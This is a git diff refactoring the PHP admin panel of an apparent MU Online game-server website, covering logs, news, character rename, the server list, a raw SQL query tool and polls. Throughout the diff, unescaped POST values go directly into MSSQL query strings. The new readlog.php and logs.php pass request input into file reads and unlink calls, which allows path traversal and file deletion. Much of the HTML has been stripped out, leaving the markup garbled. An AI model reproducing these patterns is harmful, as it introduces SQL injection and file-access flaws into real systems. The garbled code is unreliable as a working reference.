+ + + +
+ Welcome +
+
+ + + + + + + + + + + + + + + + +
Admin Account
Admin Password
Admin SecurityCode + + +
+ + +
+
+ + +
+ + \ No newline at end of file diff --git a/admin/logs.php b/admin/logs.php index 50d3154..16e4e3a 100644 --- a/admin/logs.php +++ b/admin/logs.php @@ -1,47 +1,42 @@ -/!\ Access Denied!'); +} -if(isset($_POST["log_name"])) { - clearlog($_POST["log_name"]); - echo "$warning_green Log $logfile SuccessFully Deleted!"; +if (isset($_POST['log_name'])) { + unlink(__DIR__ . '/../logs/' . $_POST['log_name']); + echo $mmw['warning']['green'] . 'Log ' . $logfile . ' SuccessFully Deleted!'; } -if($dh = opendir('logs')) { - while (($file = readdir($dh)) !== false) { - $format = substr($file, -3); - if($format == 'php') { - $num = $num + 1; - $file_name = substr($file, 0, -4); - $clear_log = '
'; - if(substr($file_name,0,2)=='a_') { - $admin_logs .= ''.$file_name.' ['.filesize("logs/$file").' byte]'.$clear_log.''; - } - else { - $other_logs .= ''.$file_name.' ['.filesize("logs/$file").' byte]'.$clear_log.''; +$logList = array( + 'admin' => '', + 'other' => '' +); +if ($dh = opendir(__DIR__ . '/../logs')) { + while (($file = readdir($dh)) !== false) { + $format = substr($file, -3); + if (in_array($format, array('htm', 'php'))) { + $file_name = substr($file, 0, -4); + $logGroup = (substr($file, 0, 2) === 'a_') ? 'admin' : 'other'; + $clear_log = '
'; + $logList[$logGroup] .= '' . $file_name . ' [' . filesize('../logs/' . $file) . ' byte]' . $clear_log . ''; + } - } - } - closedir($dh); + } + closedir($dh); } ?> - - - - - -
-
- All Exect Logs - - Logs By Admin Panel - - -
- - - Logs By Main Web - - -
- -
-
\ No newline at end of file +
+ All Exect Logs + + Logs By Admin Panel + + +
+ + + Logs By Main Web + + +
+ +
diff --git a/admin/news.php b/admin/news.php index db6a9eb..14a40a7 100644 --- a/admin/news.php +++ b/admin/news.php @@ -1,161 +1,184 @@ -/!\ Access Denied!'); +} // For News module MMW -if(isset($_POST["add_new_news"])) { - $news_title = $_POST['news_title']; - $news_category = $_POST['category']; - $news_row_1 = bugsend($_POST['news_row_1']); - $news_row_2 = bugsend($_POST['news_row_2']); - $news_row_3 = bugsend($_POST['news_row_3']); - $news_autor = $_SESSION['a_admin_login']; - $time = time(); - if(empty($news_title) || empty($news_category)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_news(news_title,news_autor,news_category,news_date,news_row_1,news_row_2,news_row_3,news_id) VALUES ('$_POST[news_title]','$_SESSION[a_admin_login]','$_POST[category]','$time','$news_row_1','$news_row_2','$news_row_3','$mmw[rand_id]')"); - echo "$warning_green News SuccessFully Added!"; - writelog("a_news","News: $_POST[news_title] Has Been Added Author: $_SESSION[a_admin_login]"); - } +if (isset($_POST['add_new_news'])) { + $news_title = $_POST['news_title']; + $news_category = $_POST['category']; + $news_row_1 = bugsend($_POST['news_row_1']); + $news_row_2 = bugsend($_POST['news_row_2']); + $news_row_3 = bugsend($_POST['news_row_3']); + $news_autor = $_SESSION['admin']['account']; + $time = time(); + if (empty($news_title) || empty($news_category)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_news(news_title,news_autor,news_category,news_date,news_row_1,news_row_2,news_row_3,news_id) VALUES ('{$_POST['news_title']}','{$_SESSION['admin']['account']}','{$_POST['category']}','{$time}','{$news_row_1}','{$news_row_2}','{$news_row_3}','{$mmw['rand_id']}')"); + echo $mmw['warning']['green'] . 'News SuccessFully Added!'; + writelog('a_news', 'News: ' . $_POST['news_title'] . ' Has Been Added Author: ' . $_SESSION['admin']['account']); + } } -if(isset($_POST["edit_news_done"])) { - $news_title = $_POST['edit_news_title']; - $news_autor = $_POST['edit_news_autor']; - $news_cateogry = $_POST['category']; - $news_id = $_POST['news_id']; - $news_row_1 = bugsend($_POST['edit_news_row_1']); - $news_row_2 = bugsend($_POST['edit_news_row_2']); - $news_row_3 = bugsend($_POST['edit_news_row_3']); - if(empty($news_title) || empty($news_autor) || empty($news_cateogry) || empty($news_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("UPDATE MMW_news SET [news_title]='$_POST[edit_news_title]',[news_autor]='$_POST[edit_news_autor]',[news_category]='$_POST[category]',[news_row_1]='$news_row_1',[news_row_2]='$news_row_2',[news_row_3]='$news_row_3' WHERE [news_id]='$_POST[news_id]'"); - echo "$warning_green News SuccessFully Edited!"; - writelog("a_news","News: $_POST[edit_news_title] Has Been Edited Author: $_POST[edit_news_autor]"); - } +if (isset($_POST['edit_news_done'])) { + $news_title = $_POST['edit_news_title']; + $news_autor = $_POST['edit_news_autor']; + $news_cateogry = $_POST['category']; + $news_id = $_POST['news_id']; + $news_row_1 = bugsend($_POST['edit_news_row_1']); + $news_row_2 = bugsend($_POST['edit_news_row_2']); + $news_row_3 = bugsend($_POST['edit_news_row_3']); + if (empty($news_title) || empty($news_autor) || empty($news_cateogry) || empty($news_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_news SET [news_title]='{$_POST['edit_news_title']}',[news_autor]='{$_POST['edit_news_autor']}',[news_category]='{$_POST['category']}',[news_row_1]='{$news_row_1}',[news_row_2]='{$news_row_2}',[news_row_3]='{$news_row_3}' WHERE [news_id]='{$_POST['news_id']}'"); + echo $mmw['warning']['green'] . 'News SuccessFully Edited!'; + writelog('a_news', 'News: ' . $_POST['edit_news_title'] . ' Has Been Edited Author: ' . $_POST['edit_news_autor']); + } } -if(isset($_POST["delete_news"])) { - $news_id = $_POST['delete_news']; - if(empty($news_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back."; } - else { - mssql_query("DELETE FROM MMW_news WHERE news_id='$news_id'"); - mssql_query("DELETE FROM MMW_comment WHERE c_id_code='$news_id'"); - echo "$warning_green News SuccessFully Deleted!"; - writelog("a_news","News: $_POST[news_title] Has Been Deleted"); - } +if (isset($_POST['delete_news'])) { + $news_id = $_POST['delete_news']; + if (empty($news_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_news WHERE news_id='$news_id'"); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='$news_id'"); + echo $mmw['warning']['green'] . 'News SuccessFully Deleted!'; + writelog('a_news', 'News: ' . $_POST['news_title'] . ' Has Been Deleted'); + } } ?> - - - - - - - -
-
- +
+ Edit News -
+ - - - - - - - - - - - + + + + + + + + + + +
- Author Curent Category:
- News Title - Category -
- News Row 1
-
- News Row 2
-
- News Row 3
-
- - -
+ Author + + Curent + Category:
+ News Title + Category +
+ News Row 1
+ +
+ News Row 2
+ +
+ News Row 3
+ +
+ + +
-
- + + Add News -
+ - - - - - - - - - - - + + + + + + + + + + +
- Title - Category
- News Row 1
-
- News Row 2
-
- News Row 3
-
- - -
+ Title + + Category
+ News Row 1
+ +
+ News Row 2
+ +
+ News Row 3
+ +
+ + +
-
- -
-
-
- News List + + +
- - - - - - - - - - -"; - $news_table_delete = ""; +
+ News List - $row[0] = substr($row[0],0,15); - $row[3] = date("H:i, d.m.Y",$row[3]); -?> -
- - - - - - - - - -
#TitleAuthorCategoryDateEditDelete
....
+ + + + + + + + + + + + + + + + + + + + + + + +
#TitleAuthorCategoryDateEditDelete
.... +
+ +
+
+
+ + +
+
- -
\ No newline at end of file + diff --git a/admin/readlog.php b/admin/readlog.php new file mode 100644 index 0000000..4f4c5d0 --- /dev/null +++ b/admin/readlog.php @@ -0,0 +1,27 @@ + + + + MMW Admin Logs + + + +
+/!\ Access Denied!');
+}
+
+$file = __DIR__ . '/../logs/' . $_GET['log'];
+echo is_file($file . '.htm')
+	? @file_get_contents($file . '.htm')
+	:  is_file($file . '.php')
+		? @file_get_contents($file . '.php')
+		: '/!\ Empty!';
+?>
+
+ + \ No newline at end of file diff --git a/admin/rename.php b/admin/rename.php index 6e044c5..5074e71 100644 --- a/admin/rename.php +++ b/admin/rename.php @@ -1,62 +1,62 @@ -/!\ Access Denied!'); +} -if(isset($_POST["name_char"])){ - $name_char = $_POST['name_char']; - $rename_char = $_POST['rename_char']; - $date = date('d-m-Y H:i'); - $name_check = mssql_query("SELECT Name FROM Character WHERE name='$rename_char'"); - $check_char = mssql_num_rows($name_check); - if(empty($name_char) || empty($rename_char)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif($check_char > 0) {echo "$warning_red Character Is Already In Use, Please Choose Another!";} - else { - @mssql_query("Update AccountCharacter set [GameID1]='$rename_char' WHERE [GameID1]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID2]='$rename_char' WHERE [GameID2]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID3]='$rename_char' WHERE [GameID3]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID4]='$rename_char' WHERE [GameID4]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID5]='$rename_char' WHERE [GameID5]='$name_char'"); - @mssql_query("Update Character set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update CharPreview set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update Guild set [G_Master]='$rename_char' WHERE [G_Master]='$name_char'"); - @mssql_query("Update GuildMember set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update MEMB_INFO set [char_set]='$rename_char' WHERE [char_set]='$name_char'"); - @mssql_query("Update MMW_comment set [c_char]='$rename_char' WHERE [c_char]='$name_char'"); - @mssql_query("Update MMW_forum set [f_char]='$rename_char' WHERE [f_char]='$name_char'"); - @mssql_query("Update MMW_forum set [f_lostchar]='$rename_char' WHERE [f_lostchar]='$name_char'"); - @mssql_query("Update MMW_market set [item_char]='$rename_char' WHERE [item_char]='$name_char'"); - @mssql_query("Update OptionData set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_CGuid set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_FriendList set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - @mssql_query("Update T_FriendMail set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - @mssql_query("Update T_FriendMain set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_WaitFriend set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); +if (isset($_POST['name_char'])) { + $name_char = $_POST['name_char']; + $rename_char = $_POST['rename_char']; + $date = date('d-m-Y H:i'); + $name_check = mssql_query("SELECT Name FROM dbo.Character WHERE name='{$rename_char}'"); + $check_char = mssql_num_rows($name_check); + if (empty($name_char) || empty($rename_char)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($check_char > 0) { + echo $mmw['warning']['red'] . 'Character Is Already In Use, Please Choose Another!'; + } else { + mssql_query("UPDATE dbo.AccountCharacter SET [GameID1]='$rename_char' WHERE [GameID1]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID2]='$rename_char' WHERE [GameID2]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID3]='$rename_char' WHERE [GameID3]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID4]='$rename_char' WHERE [GameID4]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID5]='$rename_char' WHERE [GameID5]='$name_char'"); + mssql_query("UPDATE dbo.Character SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.CharPreview SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.Guild SET [G_Master]='$rename_char' WHERE [G_Master]='$name_char'"); + mssql_query("UPDATE dbo.GuildMember SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.MEMB_INFO SET [char_SET]='$rename_char' WHERE [char_set]='$name_char'"); + mssql_query("UPDATE dbo.MMW_comment SET [c_char]='$rename_char' WHERE [c_char]='$name_char'"); + mssql_query("UPDATE dbo.MMW_forum SET [f_char]='$rename_char' WHERE [f_char]='$name_char'"); + mssql_query("UPDATE dbo.MMW_forum SET [f_lastchar]='$rename_char' WHERE [f_lastchar]='$name_char'"); + mssql_query("UPDATE dbo.MMW_market SET [item_char]='$rename_char' WHERE [item_char]='$name_char'"); + mssql_query("UPDATE dbo.OptionData SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_CGuid SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendList SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendMail SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendMain SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_WaitFriend SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - echo "$warning_green $name_char Rename to $rename_char SuccessFully Edited!"; - writelog("a_rename_char","$name_char Renamed to $rename_char"); - } + echo $mmw['warning']['green'] . $name_char . ' Rename to ' . $rename_char . ' SuccessFully Edited!'; + writelog('a_rename_char', '' . $name_char . ' Renamed to ' . $rename_char . ''); + } } ?> - - - - -
-
- Rename Character -
- - - - - - - - - - - - -
Character
Rename To
-
-
-
\ No newline at end of file +
+ Rename Character +
+ + + + + + + + + + + + +
Character
Rename To
+ +
+
+
diff --git a/admin/request.php b/admin/request.php index 2cc9322..03834d4 100644 --- a/admin/request.php +++ b/admin/request.php @@ -1,29 +1,23 @@ -/!\ Access Denied!'); +} // Request for Administrator -$request = 'admin/request.htm'; +$requestFile = '../logs/request.htm'; -if(isset($_POST[clean])) { - $fp = fopen($request,"w"); - fputs($fp, '
'); - fclose($fp); - echo "$warning_green Request SuccessFully Cleaned!"; - writelog("a_request","Request Has Been Cleaned Author: $_SESSION[a_admin_login]"); +if (isset($_POST['clean'])) { + $fp = fopen($requestFile, 'w'); + fputs($fp, '
'); + fclose($fp); + echo $mmw['warning']['green'] . 'Request SuccessFully Cleaned!'; + writelog('a_request', 'Request Has Been Cleaned Author: ' . $_SESSION['admin']['account']); } ?> - - - - - -
-
- Request for Administrator -
-
- - -
-
-
-
\ No newline at end of file +
+ Request from Accounts +
+ + + +
+
diff --git a/admin/server.php b/admin/server.php index 9d5c58c..3801c33 100644 --- a/admin/server.php +++ b/admin/server.php @@ -1,205 +1,179 @@ -/!\ Access Denied!'); +} // Server List -if(isset($_POST["new_server"])) { - $post_name = $_POST['name']; - $post_version = $_POST['version']; - $post_experience = $_POST['experience']; - $post_drops = $_POST['drops']; - $post_maxplayer = $_POST['maxplayer']; - $post_gsport = $_POST['gsport']; - $post_serverip = $_POST['serverip']; - $post_order = $_POST['order']; - $post_type = $_POST['servertype']; - if(empty($post_name) || empty($post_version) || empty($post_experience) || empty($post_drops) || empty($post_gsport) || empty($post_serverip) || empty($post_order) || empty($post_type) || empty($post_maxplayer)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(ereg('[^0-9]', $post_order)) {echo "$warning_red Error: Please Use Only Numbers At Displaying Order!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_servers(name,experience,drops,gsport,ip,display_order,version,type,maxplayer) VALUES ('$post_name','$post_experience','$post_drops','$post_gsport','$post_serverip','$post_order','$post_version','$post_type','$post_maxplayer')"); - echo "$warning_green $post_name Server SuccessFully Added!"; - writelog("a_server","New Server Named: $_POST[name] Has Been Added"); - } +if (isset($_POST['new_server'])) { + $post_name = $_POST['name']; + $post_version = $_POST['version']; + $post_experience = $_POST['experience']; + $post_drops = $_POST['drops']; + $post_maxplayer = $_POST['maxplayer']; + $post_gsport = $_POST['gsport']; + $post_serverip = $_POST['serverip']; + $post_order = $_POST['order']; + $post_type = $_POST['servertype']; + if (empty($post_name) || empty($post_version) || empty($post_experience) || empty($post_drops) || empty($post_gsport) || empty($post_serverip) || empty($post_order) || empty($post_type) || empty($post_maxplayer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_order)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Displaying Order!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_servers(name,experience,drops,gsport,ip,display_order,version,type,maxplayer) VALUES ('$post_name','$post_experience','$post_drops','$post_gsport','$post_serverip','$post_order','$post_version','$post_type','$post_maxplayer')"); + echo $mmw['warning']['green'] . $post_name . ' Server SuccessFully Added!'; + writelog('a_server', 'New Server Named: ' . $_POST['name'] . ' Has Been Added'); + } } -if(isset($_POST["edit_server"])) { - $name = $_POST['name']; - $version = $_POST['version']; - $experience = $_POST['experience']; - $drops = $_POST['drops']; - $maxplayer = $_POST['maxplayer']; - $gsport = $_POST['gsport']; - $serverip = $_POST['serverip']; - $order = $_POST['order']; - $old_name = $_POST['old_name_server']; - $server_type = $_POST['servertype']; - if(empty($name) || empty($version) || empty($experience) || empty($drops) || empty($server_type) || empty($gsport) || empty($serverip) || empty($order) || empty($old_name) || empty($maxplayer)){echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_servers set [name]='$name',[experience]='$experience',[drops]='$drops',[gsport]='$gsport',[ip]='$serverip',[display_order]='$order',[version]='$version',[type]='$server_type',[maxplayer]='$maxplayer' where [name]='$old_name'"); - echo "$warning_green $old_name Server SuccessFully Edited!"; - writelog("a_server","Server Named: $_POST[name] Has Been Edited"); - } +if (isset($_POST['edit_server'])) { + $old_name = $_POST['old_name_server']; + $name = $_POST['name']; + $version = $_POST['version']; + $experience = $_POST['experience']; + $drops = $_POST['drops']; + $maxplayer = $_POST['maxplayer']; + $gsport = $_POST['gsport']; + $serverip = $_POST['serverip']; + $order = $_POST['order']; + $server_type = $_POST['servertype']; + if (empty($name) || empty($version) || empty($experience) || empty($drops) || empty($server_type) || empty($gsport) || empty($serverip) || empty($order) || empty($old_name) || empty($maxplayer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif (!preg_match('/\d+/', $order)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Displaying Order!
Go Back.'; + } else { + mssql_query("Update dbo.MMW_servers set [name]='$name',[experience]='$experience',[drops]='$drops',[gsport]='$gsport',[ip]='$serverip',[display_order]='$order',[version]='$version',[type]='$server_type',[maxplayer]='$maxplayer' where [name]='$old_name'"); + echo $mmw['warning']['green'] . $old_name . ' Server SuccessFully Edited!'; + writelog('a_server', 'Server Named: ' . $_POST['name'] . ' Has Been Edited'); + } } -if(isset($_POST["server_name_delete"])) { - $post_server_name_delete = $_POST["server_name_delete"]; - if(empty($post_server_name_delete)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_servers WHERE name='$post_server_name_delete'"); - echo "$warning_green $post_server_name_delete Server SuccessFully Deleted!"; - writelog("a_server","Server Named: $_POST[server_name_delete] Has Been Deleted"); - } +if (isset($_POST['server_name_delete'])) { + if (empty($_POST['server_name_delete'])) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_servers WHERE name='{$_POST['server_name_delete']}'"); + echo $mmw['warning']['green'] . $_POST['server_name_delete'] . ' Server SuccessFully Deleted!'; + writelog('a_server', 'Server Named: ' . $_POST['server_name_delete'] . ' Has Been Deleted'); + } } -?> - - - - - - - - -
-
- - Edit Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type Curent:
Max Players
Gs Port
Server IP
Display Order
-
- - Add Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type
Max Players
Gs Port
Server IP
Display Order
-
-
- -
-
- Server List - - - - - - - - - - - - - -Online'; - fclose($check); - } - else { - $status_done = 'Offline'; - } - $server_table_edit = ""; - $server_table_delete = ""; +if (isset($_POST['server_name_edit'])) { + $serverNameEdit = stripslashes($_POST['server_name_edit']); + $query = mssql_query("SELECT Name,experience,drops,gsport,ip,version,display_order,type,maxplayer FROM dbo.MMW_servers WHERE name='{$serverNameEdit}'"); + $editServer = mssql_fetch_row($query); +} ?> - - - - - - - - - - - - -
#NameVersionExperienceDropsTypeStatusEditDelete
.
+
+ Server +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name
Version +
Experience
Drops
Type + + + Current: + +
Max Players
Gs Port +
Server IP
Display Order + +
+ + + + + + + +
+
+
-
-
+
+ Server List + + + + + + + + + + + + + + + Offline'; + if ($check = @fsockopen($row[4], $row[3], $errorCode, $errorMessage, 0.3)) { + $statusSocket = 'Online'; + fclose($check); + } + ?> + + + + + + + + + + + + +
#NameVersionExperienceDropsTypeStatusEditDelete
. +
+ + +
+
+
+ + +
+
+
diff --git a/admin/sqlquery.php b/admin/sqlquery.php index 37f3e47..42e926f 100644 --- a/admin/sqlquery.php +++ b/admin/sqlquery.php @@ -1,91 +1,84 @@ -/!\ Access Denied!'); +} // SQL Query Analyzer by Vaflan -$sqlquery_query = "UPDATE table SET [column]=? WHERE [column]=?\n\nSELECT * FROM table WHERE [column]=?\n\ndeclare @hex varbinary(1920); set @hex=(SELECT Items FROM warehouse where AccountId='?'); print @hex;"; +$exampleQuery = "UPDATE table SET [column]=? WHERE [column]=?\n\nSELECT * FROM table WHERE [column]=?\n\nSELECT CAST(Items AS varbinary(1920)) FROM warehouse WHERE AccountID='?'"; -if(isset($_POST[sql_query_true])) { - $sqlquery_query = str_replace('\"','"', str_replace("\'","",$_POST[sqlquery_query]) ); - $sqlquery_result = @mssql_query($sqlquery_query); - if($sqlquery_result) { - $query_result = "$warning_green Query done!"; - $log_dat = "Query: $sqlquery_query Has Been Injection"; - writelog("a_sql_query",$log_dat); - } - else { - $query_result = "$warning_red Error: $sqlquery_query"; - } +if (isset($_POST['sql_query_true'])) { + $sqlQuery = str_replace(array('\"', '\'', '''), array('"', '', '\''), $_POST['sql_query']); + if ($sqlQueryResult = mssql_query($sqlQuery)) { + $queryResult = $mmw['warning']['green'] . 'Query done!'; + writelog('a_sql_query', 'Query: ' . $sqlQuery . ' Has Been Injection'); + } else { + $queryResult = $mmw['warning']['red'] . 'Error: ' . $sqlQuery; + } } -function sqlquery_result($sql_query,$sql_result) { - $substr_query = substr($sql_query, 0, 6); - if($substr_query == 'SELECT' || $substr_query == 'Select' || $substr_query == 'select') { - $sql_query_array = preg_split("/[\s,]+/", $sql_query); - if($sql_query_array[1] == '*') { - $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[3]'"; - $sql_column_query_result = @mssql_query($sql_column_query); - } - if($sql_query_array[3] == '*') { - $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[5]'"; - $sql_column_query_result = @mssql_query($sql_column_query); - } - echo "
Result:
"; - echo "
\n"; - $num = mssql_num_rows($sql_result); - $column = mssql_num_fields($sql_result); - for($i=0; $i < $num; $i++) { - $row = mssql_fetch_row($sql_result); - if($i == 0) { - for($cn=0;$cn < $column; $cn++) { - if(isset($sql_column_query)) { - $sql_column_query_row = @mssql_fetch_row($sql_column_query_result); - echo $sql_column_query_row[0]; +function sql_query_result($sqlQuery, $sqlResult) +{ + $substrQuery = strtolower(substr($sqlQuery, 0, 6)); + if ($substrQuery === 'select') { + $sql_query_array = preg_split('/[\s,]+/', preg_replace('/\stop\s\d+\s/i', ' ', $sqlQuery)); + if ($sql_query_array[1] === '*') { + $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[3]'"; + $sql_column_query_result = mssql_query($sql_column_query); + } + echo '
Result:
'; + echo '' . PHP_EOL; + $count = mssql_num_rows($sqlResult); + $column = mssql_num_fields($sqlResult); + for ($i = 0; $i < $count; $i++) { + $row = mssql_fetch_row($sqlResult); + if ($i === 0) { + for ($cn = 0; $cn < $column; $cn++) { + echo '' . PHP_EOL; } - elseif($sql_query_array[1] == 'TOP') {echo $sql_query_array[3+$cn];} - else {echo $sql_query_array[1+$cn];} - if($cn < $column - 1) {echo "' . PHP_EOL; } - echo "\n\n' . PHP_EOL; } - for($c=0; $c < $column; $c++) { - echo $row[$c]; - if($c < $column - 1) {echo "\n\n
'; + if (isset($sql_column_query)) { + $sql_column_query_row = mssql_fetch_row($sql_column_query_result); + echo $sql_column_query_row[0]; + } else { + echo $sql_query_array[1 + $cn]; + } + echo '\n";} + echo '
"; + echo '
' . implode('', $row) . '
\n";} - } - if($i < $num - 1) {echo "
";} + echo '
' . PHP_EOL . '
'; + } + if ($substrQuery === 'insert') { + echo '
Result:
' . PHP_EOL + . ''; + } + if ($substrQuery === 'update') { + echo '
Result:
' . PHP_EOL + . $sqlQuery; } - echo "
\n
"; - } - if($substr_query == 'DECLAR' || $substr_query == 'Declar' || $substr_query == 'declar') { - mssql_query($sql_query); - echo "
Result:
\n"; - echo "\n"; - } - if($substr_query == 'UPDATE' || $substr_query == 'Update' || $substr_query == 'update') { - echo "
Result:
\n"; - echo $sql_query; - } } -echo $query_result; +if (isset($queryResult)) { + echo $queryResult; +} ?> - - - - -
-
+
SQL Query -
- - - - - - - -
-
-
-
+
+ +
+ +
+
+ + +
+
+ - \ No newline at end of file +/!\ Access Denied!'); +} // Votes Script by Vaflan -if(isset($_POST["new_id_vote"])) { - $question = $_POST['question']; - $answer1 = $_POST['answer1']; - $answer2 = $_POST['answer2']; - $answer3 = $_POST['answer3']; - $answer4 = $_POST['answer4']; - $answer5 = $_POST['answer5']; - $answer6 = $_POST['answer6']; - if(empty($question)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - $time = time(); - mssql_query("INSERT INTO MMW_votemain(question,answer1,answer2,answer3,answer4,answer5,answer6,add_date) VALUES ('$question','$answer1','$answer2','$answer3','$answer4','$answer5','$answer6','$time')"); - echo "$warning_green Vote SuccessFully Added!"; - writelog("a_vote","Vote: $question Has Been Added"); - } +if (isset($_POST['new_id_vote'])) { + $question = $_POST['question']; + $answer1 = trim($_POST['answer1']); + $answer2 = trim($_POST['answer2']); + $answer3 = trim($_POST['answer3']); + $answer4 = trim($_POST['answer4']); + $answer5 = trim($_POST['answer5']); + $answer6 = trim($_POST['answer6']); + $time = time(); + if (empty($question)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_votemain(question,answer1,answer2,answer3,answer4,answer5,answer6,add_date) VALUES ('$question','$answer1','$answer2','$answer3','$answer4','$answer5','$answer6','$time')"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Added!'; + writelog('a_vote', 'Vote: ' . $question . ' Has Been Added'); + } } -if(isset($_POST["edit_id_vote"])) { - $id_vote = $_POST["edit_id_vote"]; - $question = $_POST['question']; - $answer1 = $_POST['answer1']; - $answer2 = $_POST['answer2']; - $answer3 = $_POST['answer3']; - $answer4 = $_POST['answer4']; - $answer5 = $_POST['answer5']; - $answer6 = $_POST['answer6']; - if(empty($id_vote) || empty($question)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_votemain set [question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6' where [ID]='$id_vote'"); - echo "$warning_green $old_name Server SuccessFully Edited!"; - writelog("a_vote","Vote: $id_vote ([question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6') Has Been Edited"); - } +if (isset($_POST['edit_id_vote'])) { + $idVote = $_POST['edit_id_vote']; + $question = $_POST['question']; + $answer1 = trim($_POST['answer1']); + $answer2 = trim($_POST['answer2']); + $answer3 = trim($_POST['answer3']); + $answer4 = trim($_POST['answer4']); + $answer5 = trim($_POST['answer5']); + $answer6 = trim($_POST['answer6']); + if (empty($idVote) || empty($question)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_votemain SET [question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6' WHERE [id]='{$idVote}'"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Edited!'; + writelog('a_vote', 'Vote: ' . print_r($_POST, true) . ' Has Been Edited'); + } } -if(isset($_POST["delete_id_vote"])) { - $id_vote = $_POST["delete_id_vote"]; - if(empty($id_vote)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_votemain WHERE ID='$id_vote'"); - mssql_query("DELETE FROM MMW_voterow WHERE id_vote='$id_vote'"); - echo "$warning_green Vote SuccessFully Deleted!"; - writelog("a_vote","Id Vote: $id_vote Has Been Deleted"); - } +if (isset($_POST['delete_id_vote'])) { + $idVote = $_POST['delete_id_vote']; + if (empty($idVote)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
